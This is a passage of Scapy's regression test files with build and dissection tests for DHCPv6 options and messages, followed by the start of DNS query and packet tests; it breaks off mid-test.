DHCP6OptPanaAuthAgent - Basic Instantiation raw(DHCP6OptPanaAuthAgent()) == b'\x00(\x00\x00' = DHCP6OptPanaAuthAgent - Basic Dissection a = DHCP6OptPanaAuthAgent(b"\x00(\x00\x00") a.optcode == 40 and a.optlen == 0 and a.paaaddr == [] = DHCP6OptPanaAuthAgent - Instantiation with specific values (1 address) raw(DHCP6OptPanaAuthAgent(paaaddr=["2001:db8::1"])) == b'\x00(\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptPanaAuthAgent - Dissection with specific values (1 address) a = DHCP6OptPanaAuthAgent(b'\x00(\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 40 and a.optlen == 16 and len(a.paaaddr) == 1 and a.paaaddr[0] == "2001:db8::1" = DHCP6OptPanaAuthAgent - Instantiation with specific values (2 addresses) raw(DHCP6OptPanaAuthAgent(paaaddr=["2001:db8::1", "2001:db8::2"])) == b'\x00(\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptPanaAuthAgent - Dissection with specific values (2 addresses) a = DHCP6OptPanaAuthAgent(b'\x00(\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 40 and a.optlen == 32 and len(a.paaaddr) == 2 and a.paaaddr[0] == "2001:db8::1" and a.paaaddr[1] == "2001:db8::2" ############ ############ + Test DHCP6 Option - New POSIX Time Zone = DHCP6OptNewPOSIXTimeZone - Basic Instantiation raw(DHCP6OptNewPOSIXTimeZone()) == b'\x00)\x00\x00' = DHCP6OptNewPOSIXTimeZone - Basic Dissection a = DHCP6OptNewPOSIXTimeZone(b'\x00)\x00\x00') a.optcode == 41 and a.optlen == 0 and a.optdata == b"" = DHCP6OptNewPOSIXTimeZone - Instantiation with specific values raw(DHCP6OptNewPOSIXTimeZone(optdata="EST5EDT4,M3.2.0/02:00,M11.1.0/02:00")) == b'\x00)\x00#EST5EDT4,M3.2.0/02:00,M11.1.0/02:00' = DHCP6OptNewPOSIXTimeZone - Dissection with specific values a = DHCP6OptNewPOSIXTimeZone(b'\x00)\x00#EST5EDT4,M3.2.0/02:00,M11.1.0/02:00') a.optcode == 41 and a.optlen == 35 and a.optdata == b"EST5EDT4,M3.2.0/02:00,M11.1.0/02:00" ############ ############ + Test DHCP6 Option - New TZDB Time Zone = DHCP6OptNewTZDBTimeZone - Basic Instantiation raw(DHCP6OptNewTZDBTimeZone()) == b'\x00*\x00\x00' = DHCP6OptNewTZDBTimeZone - Basic Dissection a = DHCP6OptNewTZDBTimeZone(b'\x00*\x00\x00') a.optcode == 42 and a.optlen == 0 and a.optdata == b"" = DHCP6OptNewTZDBTimeZone - Instantiation with specific values raw(DHCP6OptNewTZDBTimeZone(optdata="Europe/Zurich")) == b'\x00*\x00\rEurope/Zurich' = DHCP6OptNewTZDBTimeZone - Dissection with specific values a = DHCP6OptNewTZDBTimeZone(b'\x00*\x00\rEurope/Zurich') a.optcode == 42 and a.optlen == 13 and a.optdata == b"Europe/Zurich" ############ ############ + Test DHCP6 Option Relay Agent Echo Request Option = DHCP6OptRelayAgentERO - Basic Instantiation raw(DHCP6OptRelayAgentERO()) == b'\x00+\x00\x04\x00\x17\x00\x18' = DHCP6OptRelayAgentERO - optlen field computation raw(DHCP6OptRelayAgentERO(reqopts=[1,2,3,4])) == b'\x00+\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04' = DHCP6OptRelayAgentERO - instantiation with empty list raw(DHCP6OptRelayAgentERO(reqopts=[])) == b'\x00+\x00\x00' = DHCP6OptRelayAgentERO - Basic dissection a=DHCP6OptRelayAgentERO(b'\x00+\x00\x00') a.optcode == 43 and a.optlen == 0 and a.reqopts == [] = DHCP6OptRelayAgentERO - Dissection with specific value a=DHCP6OptRelayAgentERO(b'\x00+\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04') a.optcode == 43 and a.optlen == 8 and a.reqopts == [1,2,3,4] ############ ############ + Test DHCP6 Option LQ Client Link = DHCP6OptLQClientLink - Basic Instantiation raw(DHCP6OptLQClientLink()) == b'\x000\x00\x00' = DHCP6OptLQClientLink - Basic Dissection a = DHCP6OptLQClientLink(b"\x000\x00\x00") a.optcode == 48 and a.optlen == 0 and a.linkaddress == [] = DHCP6OptLQClientLink - Instantiation with specific values (1 address) raw(DHCP6OptLQClientLink(linkaddress=["2001:db8::1"])) == b'\x000\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptLQClientLink - Dissection with specific values (1 address) a = DHCP6OptLQClientLink(b'\x000\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 48 and a.optlen == 16 and len(a.linkaddress) == 1 and a.linkaddress[0] == "2001:db8::1" = DHCP6OptLQClientLink - Instantiation with specific values (2 addresses) raw(DHCP6OptLQClientLink(linkaddress=["2001:db8::1", "2001:db8::2"])) == b'\x000\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptLQClientLink - Dissection with specific values (2 addresses) a = DHCP6OptLQClientLink(b'\x000\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 48 and a.optlen == 32 and len(a.linkaddress) == 2 and a.linkaddress[0] == "2001:db8::1" and a.linkaddress[1] == "2001:db8::2" ############ ############ + Test DHCP6 Option - NTP Server = DHCP6NTPSubOptSrvAddr - Basic dissection/instantiation b = b'\x00\x01' + b'\x00\x10' + b'\x00' * 16 assert raw(DHCP6NTPSubOptSrvAddr()) == b p = DHCP6NTPSubOptSrvAddr(b) assert p.optcode == 1 and p.optlen == 16 and p.addr == '::' = DHCP6NTPSubOptSrvAddr - Dissection/instantiation with specific values b = b'\x00\x01' + b'\x00\x10' + b'\x20\x01\x0d\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' assert raw(DHCP6NTPSubOptSrvAddr(addr='2001:db8::1')) == b p = DHCP6NTPSubOptSrvAddr(b) assert p.optcode == 1 and p.optlen == 16 and p.addr == '2001:db8::1' = DHCP6NTPSubOptMCAddr - Basic dissection/instantiation b = b'\x00\x02' + b'\x00\x10' + b'\x00' * 16 assert raw(DHCP6NTPSubOptMCAddr()) == b p = DHCP6NTPSubOptMCAddr(b) assert p.optcode == 2 and p.optlen == 16 and p.addr == '::' = DHCP6NTPSubOptMCAddr - Dissection/instantiation with specific values b = b'\x00\x02' + b'\x00\x10' + b'\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01' assert raw(DHCP6NTPSubOptMCAddr(addr='ff02::101')) == b p = DHCP6NTPSubOptMCAddr(b) assert p.optcode == 2 and p.optlen == 16 and p.addr == 'ff02::101' = DHCP6NTPSubOptSrvFQDN - Basic dissection/instantiation b = b'\x00\x03' + b'\x00\x01' + b'\x00' assert raw(DHCP6NTPSubOptSrvFQDN()) == b p = DHCP6NTPSubOptSrvFQDN(b) assert p.optcode == 3 and p.optlen == 1 and p.fqdn == b'.' = DHCP6NTPSubOptSrvFQDN - Dissection/instantiation with specific values b = b'\x00\x03' + b'\x00\x0d' + b'\x07example\x03com\x00' assert raw(DHCP6NTPSubOptSrvFQDN(fqdn='example.com')) == b p = DHCP6NTPSubOptSrvFQDN(b) assert p.optcode == 3 and p.optlen == 13 and p.fqdn == b'example.com.' = DHCP6OptNTPServer - Basic dissection/instantiation b = b'\x00\x38' + b'\x00\x00' assert raw(DHCP6OptNTPServer()) == b p = DHCP6OptNTPServer(b) assert p.optcode == 56 and p.optlen == 0 and p.ntpserver == [] = DHCP6OptNTPServer - Dissection/instantiation with specific values srv_addr = b'\x00\x01' + b'\x00\x10' + b'\x20\x01\x0d\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' mc_addr = b'\x00\x02' + b'\x00\x10' + b'\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01' srv_fqdn = b'\x00\x03' + b'\x00\x0d' + b'\x07example\x03com\x00' b = b'\x00\x38' + b'\x00\x39' + srv_addr + mc_addr + srv_fqdn p = DHCP6OptNTPServer( ntpserver=[DHCP6NTPSubOptSrvAddr(addr='2001:db8::1'), DHCP6NTPSubOptMCAddr(addr='ff02::101'), DHCP6NTPSubOptSrvFQDN(fqdn='example.com'), ] ) assert raw(p) == b p = DHCP6OptNTPServer(b) assert p.optcode == 56 and p.optlen == 57 and len(p.ntpserver) == 3 assert p.ntpserver[0] == DHCP6NTPSubOptSrvAddr(srv_addr) assert p.ntpserver[1] == DHCP6NTPSubOptMCAddr(mc_addr) assert p.ntpserver[2] == DHCP6NTPSubOptSrvFQDN(srv_fqdn) ############ ############ + Test DHCP6 Option - Boot File URL = DHCP6OptBootFileUrl - Basic Instantiation raw(DHCP6OptBootFileUrl()) == b'\x00;\x00\x00' = DHCP6OptBootFileUrl - Basic Dissection a = DHCP6OptBootFileUrl(b'\x00;\x00\x00') a.optcode == 59 and a.optlen == 0 and a.optdata == b"" = DHCP6OptBootFileUrl - Instantiation with specific values raw(DHCP6OptBootFileUrl(optdata="http://wp.pl/file")) == b'\x00;\x00\x11http://wp.pl/file' = DHCP6OptBootFileUrl - Dissection with specific values a = DHCP6OptBootFileUrl(b'\x00;\x00\x11http://wp.pl/file') a.optcode == 59 and a.optlen == 17 and a.optdata == b"http://wp.pl/file" ############ ############ + Test DHCP6 Option - Client Arch Type = DHCP6OptClientArchType - Basic Instantiation raw(DHCP6OptClientArchType()) raw(DHCP6OptClientArchType()) == b'\x00=\x00\x00' = DHCP6OptClientArchType - Basic Dissection a = DHCP6OptClientArchType(b'\x00=\x00\x00') a.optcode == 61 and a.optlen == 0 and a.archtypes == [] = DHCP6OptClientArchType - Instantiation with specific value as just int raw(DHCP6OptClientArchType(archtypes=7)) == b'\x00=\x00\x02\x00\x07' = DHCP6OptClientArchType - Instantiation with specific value as single item list of int raw(DHCP6OptClientArchType(archtypes=[7])) == b'\x00=\x00\x02\x00\x07' = DHCP6OptClientArchType - Dissection with specific 1 value list a = DHCP6OptClientArchType(b'\x00=\x00\x02\x00\x07') a.optcode == 61 and a.optlen == 2 and a.archtypes == [7] = DHCP6OptClientArchType - Instantiation with specific value as 2 item list of int raw(DHCP6OptClientArchType(archtypes=[7, 9])) == b'\x00=\x00\x04\x00\x07\x00\x09' = DHCP6OptClientArchType - Dissection with specific 2 values list a = DHCP6OptClientArchType(b'\x00=\x00\x04\x00\x07\x00\x09') a.optcode == 61 and a.optlen == 4 and a.archtypes == [7, 9] ############ ############ + Test DHCP6 Option - Client Network Inter Id = DHCP6OptClientNetworkInterId - Basic Instantiation raw(DHCP6OptClientNetworkInterId()) raw(DHCP6OptClientNetworkInterId()) == b'\x00>\x00\x03\x00\x00\x00' = DHCP6OptClientNetworkInterId - Basic Dissection a = DHCP6OptClientNetworkInterId(b'\x00>\x00\x03\x00\x00\x00') a.optcode == 62 and a.optlen == 3 and a.iitype == 0 and a.iimajor == 0 and a.iiminor == 0 = DHCP6OptClientNetworkInterId - Instantiation with specific values raw(DHCP6OptClientNetworkInterId(iitype=1, iimajor=2, iiminor=3)) == b'\x00>\x00\x03\x01\x02\x03' = DHCP6OptClientNetworkInterId - Dissection with specific values a = DHCP6OptClientNetworkInterId(b'\x00>\x00\x03\x01\x02\x03') a.optcode == 62 and a.optlen == 3 and a.iitype == 1 and a.iimajor == 2 and a.iiminor == 3 ############ ############ + Test DHCP6 Option - ERP Domain = DHCP6OptERPDomain - Basic Instantiation raw(DHCP6OptERPDomain()) == b'\x00A\x00\x00' = DHCP6OptERPDomain - Basic Dissection a = DHCP6OptERPDomain(b'\x00A\x00\x00') a.optcode == 65 and a.optlen == 0 and a.erpdomain == [] = DHCP6OptERPDomain - Instantiation with specific values (1 domain) raw(DHCP6OptERPDomain(erpdomain=["toto.example.com."])) == b'\x00A\x00\x12\x04toto\x07example\x03com\x00' = DHCP6OptERPDomain - Dissection with specific values (1 domain) a = DHCP6OptERPDomain(b'\x00A\x00\x12\x04toto\x07example\x03com\x00') a.optcode == 65 and a.optlen == 18 and len(a.erpdomain) == 1 and a.erpdomain[0] == "toto.example.com." = DHCP6OptERPDomain - Instantiation with specific values (2 domains) raw(DHCP6OptERPDomain(erpdomain=["toto.example.com.", "titi.example.com."])) == b'\x00A\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00' = DHCP6OptERPDomain - Dissection with specific values (2 domains) a = DHCP6OptERPDomain(b'\x00A\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00') a.optcode == 65 and a.optlen == 36 and len(a.erpdomain) == 2 and a.erpdomain[0] == "toto.example.com." and a.erpdomain[1] == "titi.example.com." ############ ############ + Test DHCP6 Option - Relay Supplied Option = DHCP6OptRelaySuppliedOpt - Basic Instantiation raw(DHCP6OptRelaySuppliedOpt()) == b'\x00B\x00\x00' = DHCP6OptRelaySuppliedOpt - Basic Dissection a = DHCP6OptRelaySuppliedOpt(b'\x00B\x00\x00') a.optcode == 66 and a.optlen == 0 and a.relaysupplied == [] = DHCP6OptRelaySuppliedOpt - Instantiation with specific values raw(DHCP6OptRelaySuppliedOpt(relaysupplied=DHCP6OptERPDomain(erpdomain=["toto.example.com."]))) == b'\x00B\x00\x16\x00A\x00\x12\x04toto\x07example\x03com\x00' = DHCP6OptRelaySuppliedOpt - Dissection with specific values a = DHCP6OptRelaySuppliedOpt(b'\x00B\x00\x16\x00A\x00\x12\x04toto\x07example\x03com\x00') a.optcode == 66 and a.optlen == 22 and len(a.relaysupplied) == 1 and isinstance(a.relaysupplied[0], DHCP6OptERPDomain) and a.relaysupplied[0].erpdomain[0] == "toto.example.com." = DHCP6OptRelaySuppliedOpt - deeply nested DHCP6OptRelaySuppliedOpt # https://github.com/secdev/scapy/issues/3894 p = DHCP6(b'\x01\x00\x00\x00' + b'\x00B\x0f\x0f' * 100) assert p.getlayer(DHCP6OptRelaySuppliedOpt, 100) ############ ############ + Test DHCP6 Option Client Link Layer address = Basic build & dissect s = raw(DHCP6OptClientLinkLayerAddr()) assert s == b"\x00O\x00\x08\x00\x01\x00\x00\x00\x00\x00\x00" p = DHCP6OptClientLinkLayerAddr(s) assert p.clladdr == "00:00:00:00:00:00" r = b"\x00O\x00\x08\x00\x01\x00\x01\x02\x03\x04\x05" p = DHCP6OptClientLinkLayerAddr(r) assert p.clladdr == "00:01:02:03:04:05" ############ ############ + Test DHCP6 Option Captive-Portal = Basic build & dissect s = raw(DHCP6OptCaptivePortal()) assert s == b"\x00\x67\x00\x00" p = DHCP6OptCaptivePortal(s) assert p.optcode == 103 assert p.optlen == 0 assert p.URI == b"" p = DHCP6OptCaptivePortal(b"\x00\x67\x00\x13https://example.org") assert p.optcode == 103 assert p.optlen == 19 assert p.URI == b"https://example.org" ############ ############ + Test DHCP6 Option MUD URL = Basic build & dissect s = raw(DHCP6OptMudUrl()) assert s == b"\x00p\x00\x00" p = DHCP6OptMudUrl(s) assert p.mudstring == b"" r = b'\x00p\x00\x13https://example.org' p = DHCP6OptMudUrl(r) assert p.mudstring == b"https://example.org" assert p.optlen == 19 ############ ############ + Test DHCP6 Option Virtual Subnet Selection = Basic build & dissect s = raw(DHCP6OptVSS()) assert s == b"\x00D\x00\x01\xff" p = DHCP6OptVSS(s) assert p.type == 255 ############ ############ + Test DHCP6 Option - Address Registration Enabled = DHCP6OptAddrRegEnable - Basic Instantiation raw(DHCP6OptAddrRegEnable()) == b'\x00\x94\x00\x00' = DHCP6OptAddrRegEnable - Basic Dissection a=DHCP6OptAddrRegEnable(b'\x00\x94\x00\x00') a.optcode == 148 and a.optlen == 0 ############ ############ + Test DHCP6 Messages - DHCP6_Solicit = DHCP6_Solicit - Basic Instantiation raw(DHCP6_Solicit()) == b'\x01\x00\x00\x00' = DHCP6_Solicit - Basic Dissection a = DHCP6_Solicit(b'\x01\x00\x00\x00') a.msgtype == 1 and a.trid == 0 = DHCP6_Solicit - Basic test of DHCP6_solicit.hashret() DHCP6_Solicit().hashret() == b'\x00\x00\x00' = DHCP6_Solicit - Test of DHCP6_solicit.hashret() with specific values DHCP6_Solicit(trid=0xbbccdd).hashret() == b'\xbb\xcc\xdd' = DHCP6_Solicit - UDP ports overload a=UDP()/DHCP6_Solicit() a.sport == 546 and a.dport == 547 = DHCP6_Solicit - Dispatch based on UDP port a=UDP(raw(UDP()/DHCP6_Solicit())) isinstance(a.payload, DHCP6_Solicit) ############ ############ + Test DHCP6 Messages - DHCP6_Advertise = DHCP6_Advertise - Basic Instantiation raw(DHCP6_Advertise()) == b'\x02\x00\x00\x00' = DHCP6_Advertise - Basic test of DHCP6_solicit.hashret() DHCP6_Advertise().hashret() == b'\x00\x00\x00' = DHCP6_Advertise - Test of DHCP6_Advertise.hashret() with specific values DHCP6_Advertise(trid=0xbbccdd).hashret() == b'\xbb\xcc\xdd' = DHCP6_Advertise - Basic test of answers() with solicit message a = DHCP6_Solicit() b = DHCP6_Advertise() a > b = DHCP6_Advertise - Test of answers() with solicit message a = DHCP6_Solicit(trid=0xbbccdd) b = DHCP6_Advertise(trid=0xbbccdd) a > b = DHCP6_Advertise - UDP ports overload a=UDP()/DHCP6_Advertise() a.sport == 547 and a.dport == 546 ############ ############ + Test DHCP6 Messages - DHCP6_Request = DHCP6_Request - Basic Instantiation raw(DHCP6_Request()) == b'\x03\x00\x00\x00' = DHCP6_Request - Basic Dissection a=DHCP6_Request(b'\x03\x00\x00\x00') a.msgtype == 3 and a.trid == 0 = DHCP6_Request - UDP ports overload a=UDP()/DHCP6_Request() a.sport == 546 and a.dport == 547 ############ ############ + Test DHCP6 Messages - DHCP6_Confirm = DHCP6_Confirm - Basic Instantiation raw(DHCP6_Confirm()) == b'\x04\x00\x00\x00' = DHCP6_Confirm - Basic Dissection a=DHCP6_Confirm(b'\x04\x00\x00\x00') a.msgtype == 4 and a.trid == 0 = DHCP6_Confirm - UDP ports overload a=UDP()/DHCP6_Confirm() a.sport == 546 and a.dport == 547 ############ ############ + Test DHCP6 Messages - DHCP6_Renew = DHCP6_Renew - Basic Instantiation raw(DHCP6_Renew()) == b'\x05\x00\x00\x00' = DHCP6_Renew - Basic Dissection a=DHCP6_Renew(b'\x05\x00\x00\x00') a.msgtype == 5 and a.trid == 0 = DHCP6_Renew - UDP ports overload a=UDP()/DHCP6_Renew() a.sport == 546 and a.dport == 547 ############ ############ + Test DHCP6 Messages - DHCP6_Rebind = DHCP6_Rebind - Basic Instantiation raw(DHCP6_Rebind()) == b'\x06\x00\x00\x00' = DHCP6_Rebind - Basic Dissection a=DHCP6_Rebind(b'\x06\x00\x00\x00') a.msgtype == 6 and a.trid == 0 = DHCP6_Rebind - UDP ports overload a=UDP()/DHCP6_Rebind() a.sport == 546 and a.dport == 547 ############ ############ + Test DHCP6 Messages - DHCP6_Reply = DHCP6_Reply - Basic Instantiation raw(DHCP6_Reply()) == b'\x07\x00\x00\x00' = DHCP6_Reply - Basic Dissection a=DHCP6_Reply(b'\x07\x00\x00\x00') a.msgtype == 7 and a.trid == 0 = DHCP6_Reply - UDP ports overload a=UDP()/DHCP6_Reply() a.sport == 547 and a.dport == 546 = DHCP6_Reply - Answers assert not DHCP6_Reply(trid=0).answers(DHCP6_Request(trid=1)) assert DHCP6_Reply(trid=1).answers(DHCP6_Request(trid=1)) ############ ############ + Test DHCP6 Messages - DHCP6_Release = DHCP6_Release - Basic Instantiation raw(DHCP6_Release()) == b'\x08\x00\x00\x00' = DHCP6_Release - Basic Dissection a=DHCP6_Release(b'\x08\x00\x00\x00') a.msgtype == 8 and a.trid == 0 = DHCP6_Release - UDP ports overload a=UDP()/DHCP6_Release() a.sport == 546 and a.dport == 547 ############ ############ + Test DHCP6 Messages - DHCP6_Decline = DHCP6_Decline - Basic Instantiation raw(DHCP6_Decline()) == b'\x09\x00\x00\x00' = DHCP6_Confirm - Basic Dissection a=DHCP6_Confirm(b'\x09\x00\x00\x00') a.msgtype == 9 and a.trid == 0 = DHCP6_Decline - UDP ports overload a=UDP()/DHCP6_Decline() a.sport == 546 and a.dport == 547 ############ ############ + Test DHCP6 Messages - DHCP6_Reconf = DHCP6_Reconf - Basic Instantiation raw(DHCP6_Reconf()) == b'\x0A\x00\x00\x00' = DHCP6_Reconf - Basic Dissection a=DHCP6_Reconf(b'\x0A\x00\x00\x00') a.msgtype == 10 and a.trid == 0 = DHCP6_Reconf - UDP ports overload a=UDP()/DHCP6_Reconf() a.sport == 547 and a.dport == 546 ############ ############ + Test DHCP6 Messages - DHCP6_InfoRequest = DHCP6_InfoRequest - Basic Instantiation raw(DHCP6_InfoRequest()) == b'\x0B\x00\x00\x00' = DHCP6_InfoRequest - Basic Dissection a=DHCP6_InfoRequest(b'\x0B\x00\x00\x00') a.msgtype == 11 and a.trid == 0 = DHCP6_InfoRequest - UDP ports overload a=UDP()/DHCP6_InfoRequest() a.sport == 546 and a.dport == 547 ############ ############ + Test DHCP6 Messages - DHCP6_RelayForward = DHCP6_RelayForward - Basic Instantiation raw(DHCP6_RelayForward()) == b'\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6_RelayForward - Basic Dissection a=DHCP6_RelayForward(b'\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.msgtype == 12 and a.hopcount == 0 and a.linkaddr == "::" and a.peeraddr == "::" = DHCP6_RelayForward - Dissection with options a = DHCP6_RelayForward(b'\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x04\x03\x01\x00\x00') a.msgtype == 12 and DHCP6OptRelayMsg in a and isinstance(a.message, DHCP6_Request) = DHCP6_RelayForward - Advanced dissection s = b'`\x00\x00\x00\x002\x11@\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02\x02#\x02#\x002\xf0\xaf\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x04\x01\x00\x00\x00' p = IPv6(s) assert DHCP6OptRelayMsg in p and isinstance(p.message, DHCP6_Solicit) ############ ############ + Test DHCP6 Messages - DHCP6OptRelayMsg = DHCP6OptRelayMsg - Basic Instantiation raw(DHCP6OptRelayMsg(optcode=37)) == b'\x00%\x00\x04\x00\x00\x00\x00' = DHCP6OptRelayMsg - Basic Dissection a = DHCP6OptRelayMsg(b'\x00\r\x00\x00') a.optcode == 13 and a.optlen == 0 and a.message is None = DHCP6OptRelayMsg - Embedded DHCP6 packet Instantiation raw(DHCP6OptRelayMsg(message=DHCP6_Solicit())) == b'\x00\t\x00\x04\x01\x00\x00\x00' = DHCP6OptRelayMsg - Embedded DHCP6 packet Dissection p = DHCP6OptRelayMsg(b'\x00\t\x00\x04\x01\x00\x00\x00') isinstance(p.message, DHCP6_Solicit) ############ ############ + Test DHCP6 Messages - DHCP6_RelayReply = DHCP6_RelayReply - Basic Instantiation raw(DHCP6_RelayReply()) == b'\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6_RelayReply - Basic Dissection a=DHCP6_RelayReply(b'\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.msgtype == 13 and a.hopcount == 0 and a.linkaddr == "::" and a.peeraddr == "::" ############ ############ + Test DHCP6 Messages - DHCP6_AddrRegInform = DHCP6_AddrRegInform - Basic Instantiation raw(DHCP6_AddrRegInform()) == b'\x24\x00\x00\x00' = DHCP6_AddrRegInform - Basic Dissection a = DHCP6_AddrRegInform(b'\x24\x00\x00\x00') a.msgtype == 36 and a.trid == 0 = DHCP6_AddrRegInform - Basic test of DHCP6_addrreginform.hashret() DHCP6_AddrRegInform().hashret() == b'\x00\x00\x00' = DHCP6_AddrRegInform - Test of DHCP6_addrreginform.hashret() with specific values DHCP6_AddrRegInform(trid=0xbbccdd).hashret() == b'\xbb\xcc\xdd' = DHCP6_AddrRegInform - UDP ports overload a=UDP()/DHCP6_AddrRegInform() a.sport == 546 and a.dport == 547 = DHCP6_AddrRegInform - Dispatch based on UDP port a=UDP(raw(UDP()/DHCP6_AddrRegInform())) isinstance(a.payload, DHCP6_AddrRegInform) ############ ############ + Test DHCP6 Messages - DHCP6_AddrRegReply = DHCP6_AddrRegReply - Basic Instantiation raw(DHCP6_AddrRegReply()) == b'\x25\x00\x00\x00' = DHCP6_AddrRegReply - Basic Dissection a = DHCP6_AddrRegReply(b'\x25\x00\x00\x00') a.msgtype == 37 and a.trid == 0 = DHCP6_AddrRegReply - Basic test of DHCP6_addrregreply.hashret() DHCP6_AddrRegReply().hashret() == b'\x00\x00\x00' = DHCP6_AddrRegReply - Test of DHCP6_addrregreply.hashret() with specific values DHCP6_AddrRegReply(trid=0xbbccdd).hashret() == b'\xbb\xcc\xdd' = DHCP6_AddrRegReply - UDP ports overload a=UDP()/DHCP6_AddrRegReply() a.sport == 546 and a.dport == 547 = DHCP6_AddrRegReply - Dispatch based on UDP port a=UDP(raw(UDP()/DHCP6_AddrRegReply())) isinstance(a.payload, DHCP6_AddrRegReply) ================================================ FILE: test/scapy/layers/dns.uts ================================================ % DNS regression tests for Scapy + DNS ~dns = DNS request ~ netaccess needs_root IP UDP DNS * A possible cause of failure could be that the open DNS (resolver1.opendns.com) * is not reachable or down. def _test(): old_debug_dissector = conf.debug_dissector conf.debug_dissector = False dns_ans = sr1(IP(dst="resolver1.opendns.com")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.com")),timeout=5) conf.debug_dissector = old_debug_dissector DNS in dns_ans return dns_ans dns_ans = retry_test(_test) = DNS request using dns_resolve ~ netaccess DNS * this is not using a raw socket so should also work without root val = dns_resolve(qname="google.com", qtype="A") assert val assert inet_pton(socket.AF_INET, val[0].rdata) assert val == conf.netcache.dns_cache[b'google.com.;\x01'] val = dns_resolve(qname="google.com", qtype="AAAA") assert val assert inet_pton(socket.AF_INET6, val[0].rdata) assert val == conf.netcache.dns_cache[b'google.com.;\x1c'] = DNS labels ~ DNS query = DNSQR(qname=b"www.secdev.org") assert query.qname == query.__class__(raw(query)).qname = DNS packet manipulation ~ netaccess needs_root IP UDP DNS dns_ans.show() dns_ans.show2() dns_ans[DNS].an[0].show() dns_ans2 = IP(raw(dns_ans)) DNS in dns_ans2 assert raw(dns_ans2) == raw(dns_ans) dns_ans2.qd[0].qname = "www.secdev.org." * We need to recalculate these values del dns_ans2[IP].len del dns_ans2[IP].chksum del dns_ans2[UDP].len del dns_ans2[UDP].chksum assert b"\x03www\x06secdev\x03org\x00" in raw(dns_ans2) assert DNS in IP(raw(dns_ans2)) assert raw(DNSRR(type='A', rdata='1.2.3.4')) == b'\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00\x04\x01\x02\x03\x04' * DNS over UDP pkt = IP(raw(IP(src="10.0.0.1", dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(qd=DNSQR(qname="secdev.org.")))) assert UDP in pkt and isinstance(pkt[UDP].payload, DNS) assert pkt[UDP].dport == 53 and pkt[UDP].length is None assert pkt[DNS].qdcount == 1 and pkt[DNS].qd[0].qname == b"secdev.org." * DNS over TCP pkt = IP(raw(IP(src="10.0.0.1", dst="8.8.8.8")/TCP(sport=RandShort(), dport=53, flags="P")/DNS(qd=DNSQR(qname="secdev.org.")))) assert TCP in pkt and isinstance(pkt[TCP].payload, DNS) assert pkt[TCP].dport == 53 and pkt[DNS].length is not None assert pkt[DNS].qdcount == 1 and pkt[DNS].qd[0].qname == b"secdev.org." = DNS frame with advanced decompression ~ dns a = 